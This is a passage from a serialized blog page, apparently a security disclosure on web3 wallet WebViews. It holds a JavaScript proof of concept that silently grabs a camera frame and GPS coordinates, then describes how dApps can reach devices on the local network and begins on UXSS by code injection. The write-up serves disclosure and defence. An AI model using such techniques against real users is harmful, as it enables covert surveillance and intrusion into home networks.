",{"type":24,"tag":271,"props":164109,"children":164110},{"style":278},[164111],{"type":29,"value":41777},{"type":24,"tag":271,"props":164113,"children":164114},{"style":630},[164115],{"type":29,"value":88918},{"type":24,"tag":271,"props":164117,"children":164118},{"style":624},[164119],{"type":29,"value":41},{"type":24,"tag":271,"props":164121,"children":164122},{"style":630},[164123],{"type":29,"value":164124},"reason",{"type":24,"tag":271,"props":164126,"children":164127},{"style":278},[164128],{"type":29,"value":41809},{"type":24,"tag":271,"props":164130,"children":164131},{"style":378},[164132],{"type":29,"value":18086},{"type":24,"tag":271,"props":164134,"children":164135},{"style":624},[164136],{"type":29,"value":1155},{"type":24,"tag":271,"props":164138,"children":164139},{"class":273,"line":402},[164140],{"type":24,"tag":271,"props":164141,"children":164142},{"style":624},[164143],{"type":29,"value":164144}," });\n",{"type":24,"tag":271,"props":164146,"children":164147},{"class":273,"line":411},[164148,164152,164156,164160,164164,164168,164172,164176,164180,164184,164188,164192,164196,164201,164205,164209],{"type":24,"tag":271,"props":164149,"children":164150},{"style":630},[164151],{"type":29,"value":164052},{"type":24,"tag":271,"props":164153,"children":164154},{"style":624},[164155],{"type":29,"value":41},{"type":24,"tag":271,"props":164157,"children":164158},{"style":598},[164159],{"type":29,"value":40359},{"type":24,"tag":271,"props":164161,"children":164162},{"style":624},[164163],{"type":29,"value":40581},{"type":24,"tag":271,"props":164165,"children":164166},{"style":278},[164167],{"type":29,"value":39052},{"type":24,"tag":271,"props":164169,"children":164170},{"style":624},[164171],{"type":29,"value":1357},{"type":24,"tag":271,"props":164173,"children":164174},{"style":630},[164175],{"type":29,"value":7604},{"type":24,"tag":271,"props":164177,"children":164178},{"style":624},[164179],{"type":29,"value":158},{"type":24,"tag":271,"props":164181,"children":164182},{"style":630},[164183],{"type":29,"value":77165},{"type":24,"tag":271,"props":164185,"children":164186},{"style":624},[164187],{"type":29,"value":158},{"type":24,"tag":271,"props":164189,"children":164190},{"style":630},[164191],{"type":29,"value":273},{"type":24,"tag":271,"props":164193,"children":164194},{"style":624},[164195],{"type":29,"value":158},{"type":24,"tag":271,"props":164197,"children":164198},{"style":630},[164199],{"type":29,"value":164200},"col",{"type":24,"tag":271,"props":164202,"children":164203},{"style":624},[164204],{"type":29,"value":158},{"type":24,"tag":271,"props":164206,"children":164207},{"style":630},[164208],{"type":29,"value":22561},{"type":24,"tag":271,"props":164210,"children":164211},{"style":624},[164212],{"type":29,"value":919},{"type":24,"tag":271,"props":164214,"children":164215},{"class":273,"line":420},[164216,164220,164224,164229,164233,164237],{"type":24,"tag":271,"props":164217,"children":164218},{"style":598},[164219],{"type":29,"value":164098},{"type":24,"tag":271,"props":164221,"children":164222},{"style":624},[164223],{"type":29,"value":606},{"type":24,"tag":271,"props":164225,"children":164226},{"style":378},[164227],{"type":29,"value":164228},"'onerror: '",{"type":24,"tag":271,"props":164230,"children":164231},{"style":624},[164232],{"type":29,"value":42365},{"type":24,"tag":271,"props":164234,"children":164235},{"style":630},[164236],{"type":29,"value":7604},{"type":24,"tag":271,"props":164238,"children":164239},{"style":624},[164240],{"type":29,"value":1155},{"type":24,"tag":271,"props":164242,"children":164243},{"class":273,"line":429},[164244,164248,164252],{"type":24,"tag":271,"props":164245,"children":164246},{"style":749},[164247],{"type":29,"value":85866},{"type":24,"tag":271,"props":164249,"children":164250},{"style":278},[164251],{"type":29,"value":1877},{"type":24,"tag":271,"props":164253,"children":164254},{"style":624},[164255],{"type":29,"value":1069},{"type":24,"tag":271,"props":164257,"children":164258},{"class":273,"line":438},[164259],{"type":24,"tag":271,"props":164260,"children":164261},{"style":624},[164262],{"type":29,"value":164263}," };\n",{"type":24,"tag":271,"props":164265,"children":164266},{"class":273,"line":447},[164267],{"type":24,"tag":271,"props":164268,"children":164269},{"emptyLinePlaceholder":16},[164270],{"type":29,"value":327},{"type":24,"tag":271,"props":164272,"children":164273},{"class":273,"line":455},[164274,164279,164283,164287],{"type":24,"tag":271,"props":164275,"children":164276},{"style":278},[164277],{"type":29,"value":164278}," async",{"type":24,"tag":271,"props":164280,"children":164281},{"style":278},[164282],{"type":29,"value":45882},{"type":24,"tag":271,"props":164284,"children":164285},{"style":598},[164286],{"type":29,"value":97570},{"type":24,"tag":271,"props":164288,"children":164289},{"style":624},[164290],{"type":29,"value":23434},{"type":24,"tag":271,"props":164292,"children":164293},{"class":273,"line":464},[164294,164298,164303,164307,164311,164316,164320,164325,164329,164334,164338,164343,164347],{"type":24,"tag":271,"props":164295,"children":164296},{"style":278},[164297],{"type":29,"value":157824},{"type":24,"tag":271,"props":164299,"children":164300},{"style":630},[164301],{"type":29,"value":164302}," stream",{"type":24,"tag":271,"props":164304,"children":164305},{"style":624},[164306],{"type":29,"value":40581},{"type":24,"tag":271,"props":164308,"children":164309},{"style":749},[164310],{"type":29,"value":40586},{"type":24,"tag":271,"props":164312,"children":164313},{"style":630},[164314],{"type":29,"value":164315}," navigator",{"type":24,"tag":271,"props":164317,"children":164318},{"style":624},[164319],{"type":29,"value":41},{"type":24,"tag":271,"props":164321,"children":164322},{"style":630},[164323],{"type":29,"value":164324},"mediaDevices",{"type":24,"tag":271,"props":164326,"children":164327},{"style":624},[164328],{"type":29,"value":41},{"type":24,"tag":271,"props":164330,"children":164331},{"style":598},[164332],{"type":29,"value":164333},"getUserMedia",{"type":24,"tag":271,"props":164335,"children":164336},{"style":624},[164337],{"type":29,"value":39172},{"type":24,"tag":271,"props":164339,"children":164340},{"style":630},[164341],{"type":29,"value":164342},"video:",{"type":24,"tag":271,"props":164344,"children":164345},{"style":278},[164346],{"type":29,"value":1717},{"type":24,"tag":271,"props":164348,"children":164349},{"style":624},[164350],{"type":29,"value":46503},{"type":24,"tag":271,"props":164352,"children":164353},{"class":273,"line":473},[164354,164358,164363,164367,164371,164375,164379,164383,164388],{"type":24,"tag":271,"props":164355,"children":164356},{"style":278},[164357],{"type":29,"value":157824},{"type":24,"tag":271,"props":164359,"children":164360},{"style":630},[164361],{"type":29,"value":164362}," video",{"type":24,"tag":271,"props":164364,"children":164365},{"style":624},[164366],{"type":29,"value":40581},{"type":24,"tag":271,"props":164368,"children":164369},{"style":630},[164370],{"type":29,"value":40378},{"type":24,"tag":271,"props":164372,"children":164373},{"style":624},[164374],{"type":29,"value":41},{"type":24,"tag":271,"props":164376,"children":164377},{"style":598},[164378],{"type":29,"value":44389},{"type":24,"tag":271,"props":164380,"children":164381},{"style":624},[164382],{"type":29,"value":606},{"type":24,"tag":271,"props":164384,"children":164385},{"style":378},[164386],{"type":29,"value":164387},"\"video\"",{"type":24,"tag":271,"props":164389,"children":164390},{"style":624},[164391],{"type":29,"value":1155},{"type":24,"tag":271,"props":164393,"children":164394},{"class":273,"line":483},[164395,164400,164404,164409,164413,164417],{"type":24,"tag":271,"props":164396,"children":164397},{"style":630},[164398],{"type":29,"value":164399}," video",{"type":24,"tag":271,"props":164401,"children":164402},{"style":624},[164403],{"type":29,"value":41},{"type":24,"tag":271,"props":164405,"children":164406},{"style":630},[164407],{"type":29,"value":164408},"srcObject",{"type":24,"tag":271,"props":164410,"children":164411},{"style":624},[164412],{"type":29,"value":40581},{"type":24,"tag":271,"props":164414,"children":164415},{"style":630},[164416],{"type":29,"value":43929},{"type":24,"tag":271,"props":164418,"children":164419},{"style":624},[164420],{"type":29,"value":1069},{"type":24,"tag":271,"props":164422,"children":164423},{"class":273,"line":491},[164424,164428,164433,164437,164441,164445,164449,164453,164458],{"type":24,"tag":271,"props":164425,"children":164426},{"style":278},[164427],{"type":29,"value":157824},{"type":24,"tag":271,"props":164429,"children":164430},{"style":630},[164431],{"type":29,"value":164432}," canvas",{"type":24,"tag":271,"props":164434,"children":164435},{"style":624},[164436],{"type":29,"value":40581},{"type":24,"tag":271,"props":164438,"children":164439},{"style":630},[164440],{"type":29,"value":40378},{"type":24,"tag":271,"props":164442,"children":164443},{"style":624},[164444],{"type":29,"value":41},{"type":24,"tag":271,"props":164446,"children":164447},{"style":598},[164448],{"type":29,"value":44389},{"type":24,"tag":271,"props":164450,"children":164451},{"style":624},[164452],{"type":29,"value":606},{"type":24,"tag":271,"props":164454,"children":164455},{"style":378},[164456],{"type":29,"value":164457},"\"canvas\"",{"type":24,"tag":271,"props":164459,"children":164460},{"style":624},[164461],{"type":29,"value":1155},{"type":24,"tag":271,"props":164463,"children":164464},{"class":273,"line":499},[164465],{"type":24,"tag":271,"props":164466,"children":164467},{"emptyLinePlaceholder":16},[164468],{"type":29,"value":327},{"type":24,"tag":271,"props":164470,"children":164471},{"class":273,"line":3188},[164472,164476,164480,164485,164490,164494],{"type":24,"tag":271,"props":164473,"children":164474},{"style":630},[164475],{"type":29,"value":164399},{"type":24,"tag":271,"props":164477,"children":164478},{"style":624},[164479],{"type":29,"value":41},{"type":24,"tag":271,"props":164481,"children":164482},{"style":598},[164483],{"type":29,"value":164484},"onloadedmetadata",{"type":24,"tag":271,"props":164486,"children":164487},{"style":624},[164488],{"type":29,"value":164489}," = () ",{"type":24,"tag":271,"props":164491,"children":164492},{"style":278},[164493],{"type":29,"value":22519},{"type":24,"tag":271,"props":164495,"children":164496},{"style":624},[164497],{"type":29,"value":7145},{"type":24,"tag":271,"props":164499,"children":164500},{"class":273,"line":3247},[164501,164506,164510,164515,164519,164523,164527,164532],{"type":24,"tag":271,"props":164502,"children":164503},{"style":630},[164504],{"type":29,"value":164505}," canvas",{"type":24,"tag":271,"props":164507,"children":164508},{"style":624},[164509],{"type":29,"value":41},{"type":24,"tag":271,"props":164511,"children":164512},{"style":630},[164513],{"type":29,"value":164514},"width",{"type":24,"tag":271,"props":164516,"children":164517},{"style":624},[164518],{"type":29,"value":40581},{"type":24,"tag":271,"props":164520,"children":164521},{"style":630},[164522],{"type":29,"value":138648},{"type":24,"tag":271,"props":164524,"children":164525},{"style":624},[164526],{"type":29,"value":41},{"type":24,"tag":271,"props":164528,"children":164529},{"style":630},[164530],{"type":29,"value":164531},"videoWidth",{"type":24,"tag":271,"props":164533,"children":164534},{"style":624},[164535],{"type":29,"value":1069},{"type":24,"tag":271,"props":164537,"children":164538},{"class":273,"line":3255},[164539,164543,164547,164552,164556,164560,164564,164569],{"type":24,"tag":271,"props":164540,"children":164541},{"style":630},[164542],{"type":29,"value":164505},{"type":24,"tag":271,"props":164544,"children":164545},{"style":624},[164546],{"type":29,"value":41},{"type":24,"tag":271,"props":164548,"children":164549},{"style":630},[164550],{"type":29,"value":164551},"height",{"type":24,"tag":271,"props":164553,"children":164554},{"style":624},[164555],{"type":29,"value":40581},{"type":24,"tag":271,"props":164557,"children":164558},{"style":630},[164559],{"type":29,"value":138648},{"type":24,"tag":271,"props":164561,"children":164562},{"style":624},[164563],{"type":29,"value":41},{"type":24,"tag":271,"props":164565,"children":164566},{"style":630},[164567],{"type":29,"value":164568},"videoHeight",{"type":24,"tag":271,"props":164570,"children":164571},{"style":624},[164572],{"type":29,"value":1069},{"type":24,"tag":271,"props":164574,"children":164575},{"class":273,"line":3263},[164576],{"type":24,"tag":271,"props":164577,"children":164578},{"style":624},[164579],{"type":29,"value":55741},{"type":24,"tag":271,"props":164581,"children":164582},{"class":273,"line":3293},[164583],{"type":24,"tag":271,"props":164584,"children":164585},{"emptyLinePlaceholder":16},[164586],{"type":29,"value":327},{"type":24,"tag":271,"props":164588,"children":164589},{"class":273,"line":3301},[164590,164595,164599,164604,164608,164612,164616],{"type":24,"tag":271,"props":164591,"children":164592},{"style":630},[164593],{"type":29,"value":164594}," connect",{"type":24,"tag":271,"props":164596,"children":164597},{"style":624},[164598],{"type":29,"value":41},{"type":24,"tag":271,"props":164600,"children":164601},{"style":598},[164602],{"type":29,"value":164603},"onclick",{"type":24,"tag":271,"props":164605,"children":164606},{"style":624},[164607],{"type":29,"value":40581},{"type":24,"tag":271,"props":164609,"children":164610},{"style":630},[164611],{"type":29,"value":1026},{"type":24,"tag":271,"props":164613,"children":164614},{"style":278},[164615],{"type":29,"value":35429},{"type":24,"tag":271,"props":164617,"children":164618},{"style":624},[164619],{"type":29,"value":7145},{"type":24,"tag":271,"props":164621,"children":164622},{"class":273,"line":3683},[164623,164628,164632,164637],{"type":24,"tag":271,"props":164624,"children":164625},{"style":630},[164626],{"type":29,"value":164627}," video",{"type":24,"tag":271,"props":164629,"children":164630},{"style":624},[164631],{"type":29,"value":41},{"type":24,"tag":271,"props":164633,"children":164634},{"style":598},[164635],{"type":29,"value":164636},"play",{"type":24,"tag":271,"props":164638,"children":164639},{"style":624},[164640],{"type":29,"value":4230},{"type":24,"tag":271,"props":164642,"children":164643},{"class":273,"line":4486},[164644],{"type":24,"tag":271,"props":164645,"children":164646},{"emptyLinePlaceholder":16},[164647],{"type":29,"value":327},{"type":24,"tag":271,"props":164649,"children":164650},{"class":273,"line":4509},[164651,164655,164659,164664,164668,164673,164677,164682,164686,164690,164694,164698,164702,164706],{"type":24,"tag":271,"props":164652,"children":164653},{"style":630},[164654],{"type":29,"value":164505},{"type":24,"tag":271,"props":164656,"children":164657},{"style":624},[164658],{"type":29,"value":41},{"type":24,"tag":271,"props":164660,"children":164661},{"style":598},[164662],{"type":29,"value":164663},"getContext",{"type":24,"tag":271,"props":164665,"children":164666},{"style":624},[164667],{"type":29,"value":606},{"type":24,"tag":271,"props":164669,"children":164670},{"style":378},[164671],{"type":29,"value":164672},"\"2d\"",{"type":24,"tag":271,"props":164674,"children":164675},{"style":624},[164676],{"type":29,"value":28429},{"type":24,"tag":271,"props":164678,"children":164679},{"style":598},[164680],{"type":29,"value":164681},"drawImage",{"type":24,"tag":271,"props":164683,"children":164684},{"style":624},[164685],{"type":29,"value":606},{"type":24,"tag":271,"props":164687,"children":164688},{"style":630},[164689],{"type":29,"value":138648},{"type":24,"tag":271,"props":164691,"children":164692},{"style":624},[164693],{"type":29,"value":158},{"type":24,"tag":271,"props":164695,"children":164696},{"style":477},[164697],{"type":29,"value":4121},{"type":24,"tag":271,"props":164699,"children":164700},{"style":624},[164701],{"type":29,"value":158},{"type":24,"tag":271,"props":164703,"children":164704},{"style":477},[164705],{"type":29,"value":4121},{"type":24,"tag":271,"props":164707,"children":164708},{"style":624},[164709],{"type":29,"value":1155},{"type":24,"tag":271,"props":164711,"children":164712},{"class":273,"line":4545},[164713,164718,164722,164727,164731,164736,164740,164744,164748,164753,164757,164762],{"type":24,"tag":271,"props":164714,"children":164715},{"style":630},[164716],{"type":29,"value":164717}," stream",{"type":24,"tag":271,"props":164719,"children":164720},{"style":624},[164721],{"type":29,"value":41},{"type":24,"tag":271,"props":164723,"children":164724},{"style":598},[164725],{"type":29,"value":164726},"getTracks",{"type":24,"tag":271,"props":164728,"children":164729},{"style":624},[164730],{"type":29,"value":37843},{"type":24,"tag":271,"props":164732,"children":164733},{"style":598},[164734],{"type":29,"value":164735},"forEach",{"type":24,"tag":271,"props":164737,"children":164738},{"style":624},[164739],{"type":29,"value":606},{"type":24,"tag":271,"props":164741,"children":164742},{"style":630},[164743],{"type":29,"value":29415},{"type":24,"tag":271,"props":164745,"children":164746},{"style":278},[164747],{"type":29,"value":35429},{"type":24,"tag":271,"props":164749,"children":164750},{"style":630},[164751],{"type":29,"value":164752}," t",{"type":24,"tag":271,"props":164754,"children":164755},{"style":624},[164756],{"type":29,"value":41},{"type":24,"tag":271,"props":164758,"children":164759},{"style":598},[164760],{"type":29,"value":164761},"stop",{"type":24,"tag":271,"props":164763,"children":164764},{"style":624},[164765],{"type":29,"value":23122},{"type":24,"tag":271,"props":164767,"children":164768},{"class":273,"line":4591},[164769,164773,164777,164782,164786,164790,164794,164798],{"type":24,"tag":271,"props":164770,"children":164771},{"style":630},[164772],{"type":29,"value":164505},{"type":24,"tag":271,"props":164774,"children":164775},{"style":624},[164776],{"type":29,"value":41},{"type":24,"tag":271,"props":164778,"children":164779},{"style":598},[164780],{"type":29,"value":164781},"toBlob",{"type":24,"tag":271,"props":164783,"children":164784},{"style":624},[164785],{"type":29,"value":39197},{"type":24,"tag":271,"props":164787,"children":164788},{"style":630},[164789],{"type":29,"value":40618},{"type":24,"tag":271,"props":164791,"children":164792},{"style":624},[164793],{"type":29,"value":8823},{"type":24,"tag":271,"props":164795,"children":164796},{"style":278},[164797],{"type":29,"value":22519},{"type":24,"tag":271,"props":164799,"children":164800},{"style":624},[164801],{"type":29,"value":7145},{"type":24,"tag":271,"props":164803,"children":164804},{"class":273,"line":4628},[164805,164810,164814,164818,164822,164827,164831,164836,164840,164844],{"type":24,"tag":271,"props":164806,"children":164807},{"style":630},[164808],{"type":29,"value":164809}," pic",{"type":24,"tag":271,"props":164811,"children":164812},{"style":624},[164813],{"type":29,"value":41},{"type":24,"tag":271,"props":164815,"children":164816},{"style":630},[164817],{"type":29,"value":40340},{"type":24,"tag":271,"props":164819,"children":164820},{"style":624},[164821],{"type":29,"value":40581},{"type":24,"tag":271,"props":164823,"children":164824},{"style":630},[164825],{"type":29,"value":164826},"URL",{"type":24,"tag":271,"props":164828,"children":164829},{"style":624},[164830],{"type":29,"value":41},{"type":24,"tag":271,"props":164832,"children":164833},{"style":598},[164834],{"type":29,"value":164835},"createObjectURL",{"type":24,"tag":271,"props":164837,"children":164838},{"style":624},[164839],{"type":29,"value":606},{"type":24,"tag":271,"props":164841,"children":164842},{"style":630},[164843],{"type":29,"value":40618},{"type":24,"tag":271,"props":164845,"children":164846},{"style":624},[164847],{"type":29,"value":1155},{"type":24,"tag":271,"props":164849,"children":164850},{"class":273,"line":4658},[164851],{"type":24,"tag":271,"props":164852,"children":164853},{"style":624},[164854],{"type":29,"value":164855}," });\n",{"type":24,"tag":271,"props":164857,"children":164858},{"class":273,"line":4666},[164859],{"type":24,"tag":271,"props":164860,"children":164861},{"emptyLinePlaceholder":16},[164862],{"type":29,"value":327},{"type":24,"tag":271,"props":164864,"children":164865},{"class":273,"line":4674},[164866,164871,164875,164880,164884,164889,164893,164898,164902],{"type":24,"tag":271,"props":164867,"children":164868},{"style":630},[164869],{"type":29,"value":164870}," navigator",{"type":24,"tag":271,"props":164872,"children":164873},{"style":624},[164874],{"type":29,"value":41},{"type":24,"tag":271,"props":164876,"children":164877},{"style":630},[164878],{"type":29,"value":164879},"geolocation",{"type":24,"tag":271,"props":164881,"children":164882},{"style":624},[164883],{"type":29,"value":41},{"type":24,"tag":271,"props":164885,"children":164886},{"style":598},[164887],{"type":29,"value":164888},"getCurrentPosition",{"type":24,"tag":271,"props":164890,"children":164891},{"style":624},[164892],{"type":29,"value":606},{"type":24,"tag":271,"props":164894,"children":164895},{"style":630},[164896],{"type":29,"value":164897},"pos",{"type":24,"tag":271,"props":164899,"children":164900},{"style":278},[164901],{"type":29,"value":35429},{"type":24,"tag":271,"props":164903,"children":164904},{"style":624},[164905],{"type":29,"value":7145},{"type":24,"tag":271,"props":164907,"children":164908},{"class":273,"line":4683},[164909,164914,164918,164922,164926,164930,164935],{"type":24,"tag":271,"props":164910,"children":164911},{"style":278},[164912],{"type":29,"value":164913}," const",{"type":24,"tag":271,"props":164915,"children":164916},{"style":630},[164917],{"type":29,"value":45113},{"type":24,"tag":271,"props":164919,"children":164920},{"style":624},[164921],{"type":29,"value":40581},{"type":24,"tag":271,"props":164923,"children":164924},{"style":630},[164925],{"type":29,"value":164897},{"type":24,"tag":271,"props":164927,"children":164928},{"style":624},[164929],{"type":29,"value":41},{"type":24,"tag":271,"props":164931,"children":164932},{"style":630},[164933],{"type":29,"value":164934},"coords",{"type":24,"tag":271,"props":164936,"children":164937},{"style":624},[164938],{"type":29,"value":1069},{"type":24,"tag":271,"props":164940,"children":164941},{"class":273,"line":4691},[164942,164947,164951,164955,164959,164964,164968,164972,164976,164981,164985,164990,164994,164998,165002,165006,165010,165015,165019,165023,165027,165032,165036,165040,165044,165048,165052,165056,165060],{"type":24,"tag":271,"props":164943,"children":164944},{"style":630},[164945],{"type":29,"value":164946}," gps",{"type":24,"tag":271,"props":164948,"children":164949},{"style":624},[164950],{"type":29,"value":41},{"type":24,"tag":271,"props":164952,"children":164953},{"style":630},[164954],{"type":29,"value":42632},{"type":24,"tag":271,"props":164956,"children":164957},{"style":624},[164958],{"type":29,"value":40581},{"type":24,"tag":271,"props":164960,"children":164961},{"style":378},[164962],{"type":29,"value":164963},"`Lat: ",{"type":24,"tag":271,"props":164965,"children":164966},{"style":278},[164967],{"type":29,"value":41777},{"type":24,"tag":271,"props":164969,"children":164970},{"style":630},[164971],{"type":29,"value":578},{"type":24,"tag":271,"props":164973,"children":164974},{"style":624},[164975],{"type":29,"value":41},{"type":24,"tag":271,"props":164977,"children":164978},{"style":630},[164979],{"type":29,"value":164980},"latitude",{"type":24,"tag":271,"props":164982,"children":164983},{"style":624},[164984],{"type":29,"value":41},{"type":24,"tag":271,"props":164986,"children":164987},{"style":598},[164988],{"type":29,"value":164989},"toFixed",{"type":24,"tag":271,"props":164991,"children":164992},{"style":624},[164993],{"type":29,"value":606},{"type":24,"tag":271,"props":164995,"children":164996},{"style":477},[164997],{"type":29,"value":156},{"type":24,"tag":271,"props":164999,"children":165000},{"style":624},[165001],{"type":29,"value":2693},{"type":24,"tag":271,"props":165003,"children":165004},{"style":278},[165005],{"type":29,"value":41809},{"type":24,"tag":271,"props":165007,"children":165008},{"style":5694},[165009],{"type":29,"value":5697},{"type":24,"tag":271,"props":165011,"children":165012},{"style":378},[165013],{"type":29,"value":165014},"Lon: ",{"type":24,"tag":271,"props":165016,"children":165017},{"style":278},[165018],{"type":29,"value":41777},{"type":24,"tag":271,"props":165020,"children":165021},{"style":630},[165022],{"type":29,"value":578},{"type":24,"tag":271,"props":165024,"children":165025},{"style":624},[165026],{"type":29,"value":41},{"type":24,"tag":271,"props":165028,"children":165029},{"style":630},[165030],{"type":29,"value":165031},"longitude",{"type":24,"tag":271,"props":165033,"children":165034},{"style":624},[165035],{"type":29,"value":41},{"type":24,"tag":271,"props":165037,"children":165038},{"style":598},[165039],{"type":29,"value":164989},{"type":24,"tag":271,"props":165041,"children":165042},{"style":624},[165043],{"type":29,"value":606},{"type":24,"tag":271,"props":165045,"children":165046},{"style":477},[165047],{"type":29,"value":156},{"type":24,"tag":271,"props":165049,"children":165050},{"style":624},[165051],{"type":29,"value":2693},{"type":24,"tag":271,"props":165053,"children":165054},{"style":278},[165055],{"type":29,"value":41809},{"type":24,"tag":271,"props":165057,"children":165058},{"style":378},[165059],{"type":29,"value":18086},{"type":24,"tag":271,"props":165061,"children":165062},{"style":624},[165063],{"type":29,"value":1069},{"type":24,"tag":271,"props":165065,"children":165066},{"class":273,"line":4708},[165067,165072,165076,165080,165085,165089,165093],{"type":24,"tag":271,"props":165068,"children":165069},{"style":624},[165070],{"type":29,"value":165071}," }, ",{"type":24,"tag":271,"props":165073,"children":165074},{"style":630},[165075],{"type":29,"value":56085},{"type":24,"tag":271,"props":165077,"children":165078},{"style":278},[165079],{"type":29,"value":35429},{"type":24,"tag":271,"props":165081,"children":165082},{"style":598},[165083],{"type":29,"value":165084}," alert",{"type":24,"tag":271,"props":165086,"children":165087},{"style":624},[165088],{"type":29,"value":606},{"type":24,"tag":271,"props":165090,"children":165091},{"style":630},[165092],{"type":29,"value":56085},{"type":24,"tag":271,"props":165094,"children":165095},{"style":624},[165096],{"type":29,"value":5811},{"type":24,"tag":271,"props":165098,"children":165099},{"class":273,"line":4716},[165100],{"type":24,"tag":271,"props":165101,"children":165102},{"style":624},[165103],{"type":29,"value":55741},{"type":24,"tag":271,"props":165105,"children":165106},{"class":273,"line":10423},[165107],{"type":24,"tag":271,"props":165108,"children":165109},{"emptyLinePlaceholder":16},[165110],{"type":29,"value":327},{"type":24,"tag":271,"props":165112,"children":165113},{"class":273,"line":10431},[165114],{"type":24,"tag":271,"props":165115,"children":165116},{"style":624},[165117],{"type":29,"value":7574},{"type":24,"tag":271,"props":165119,"children":165120},{"class":273,"line":10439},[165121,165126],{"type":24,"tag":271,"props":165122,"children":165123},{"style":598},[165124],{"type":29,"value":165125}," main",{"type":24,"tag":271,"props":165127,"children":165128},{"style":624},[165129],{"type":29,"value":4230},{"type":24,"tag":271,"props":165131,"children":165132},{"class":273,"line":10447},[165133,165137,165141],{"type":24,"tag":271,"props":165134,"children":165135},{"style":40046},[165136],{"type":29,"value":40499},{"type":24,"tag":271,"props":165138,"children":165139},{"style":278},[165140],{"type":29,"value":40086},{"type":24,"tag":271,"props":165142,"children":165143},{"style":40046},[165144],{"type":29,"value":13709},{"type":24,"tag":271,"props":165146,"children":165147},{"class":273,"line":10468},[165148,165152,165156],{"type":24,"tag":271,"props":165149,"children":165150},{"style":40046},[165151],{"type":29,"value":40100},{"type":24,"tag":271,"props":165153,"children":165154},{"style":278},[165155],{"type":29,"value":40070},{"type":24,"tag":271,"props":165157,"children":165158},{"style":40046},[165159],{"type":29,"value":13709},{"type":24,"tag":271,"props":165161,"children":165162},{"class":273,"line":39951},[165163,165167,165171],{"type":24,"tag":271,"props":165164,"children":165165},{"style":40046},[165166],{"type":29,"value":40100},{"type":24,"tag":271,"props":165168,"children":165169},{"style":278},[165170],{"type":29,"value":40053},{"type":24,"tag":271,"props":165172,"children":165173},{"style":40046},[165174],{"type":29,"value":13709},{"type":24,"tag":26585,"props":165176,"children":165177},{"id":257},[165178],{"type":29,"value":11949},{"type":24,"tag":25,"props":165180,"children":165181},{},[165182],{"type":29,"value":165183},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":24,"tag":25,"props":165185,"children":165186},{},[165187,165189,165195],{"type":29,"value":165188},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":24,"tag":32,"props":165190,"children":165193},{"href":165191,"rel":165192},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[36],[165194],{"type":29,"value":55251},{"type":29,"value":41},{"type":24,"tag":39021,"props":165197,"children":165198},{"style":39023},[165199],{"type":24,"tag":74,"props":165200,"children":165204},{"src":165201,"alt":165202,"style":165203},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":165206,"children":165207},{},[165208],{"type":29,"value":165209},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":24,"tag":62,"props":165211,"children":165213},{"id":165212},"local-network-access",[165214],{"type":29,"value":165215},"Local Network Access",{"type":24,"tag":25,"props":165217,"children":165218},{},[165219,165221,165228,165230,165236],{"type":29,"value":165220},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":24,"tag":32,"props":165222,"children":165225},{"href":165223,"rel":165224},"https://wicg.github.io/private-network-access/",[36],[165226],{"type":29,"value":165227},"Private Network Access",{"type":29,"value":165229}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":24,"tag":32,"props":165231,"children":165234},{"href":165232,"rel":165233},"https://x.com/taviso/status/2051310678800253318",[36],[165235],{"type":29,"value":165232},{"type":29,"value":165237},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":24,"tag":39021,"props":165239,"children":165240},{"style":39023},[165241],{"type":24,"tag":74,"props":165242,"children":165245},{"src":165243,"alt":165202,"style":165244},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":165247,"children":165248},{},[165249],{"type":29,"value":165250},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":24,"tag":165252,"props":165253,"children":165256},"zoom-image",{"src":165254,"alt":165255},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":24,"tag":25,"props":165258,"children":165259},{},[165260],{"type":29,"value":165261},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":24,"tag":97,"props":165263,"children":165264},{},[165265,165270,165275],{"type":24,"tag":101,"props":165266,"children":165267},{},[165268],{"type":29,"value":165269},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":24,"tag":101,"props":165271,"children":165272},{},[165273],{"type":29,"value":165274},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":24,"tag":101,"props":165276,"children":165277},{},[165278],{"type":29,"value":165279},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":24,"tag":25,"props":165281,"children":165282},{},[165283],{"type":29,"value":165284},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":24,"tag":62,"props":165286,"children":165288},{"id":165287},"uxss-by-code-injection",[165289],{"type":29,"value":165290},"UXSS by Code Injection",{"type":24,"tag":25,"props":165292,"children":165293},{},[165294,165296,165302],{"type":29,"value":165295},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":24,"tag":135,"props":165297,"children":165299},{"className":165298},[],[165300],{"type":29,"value":165301},"injectJavascriptObject",{"type":29,"value":165303}," attribute worked. Here is the code 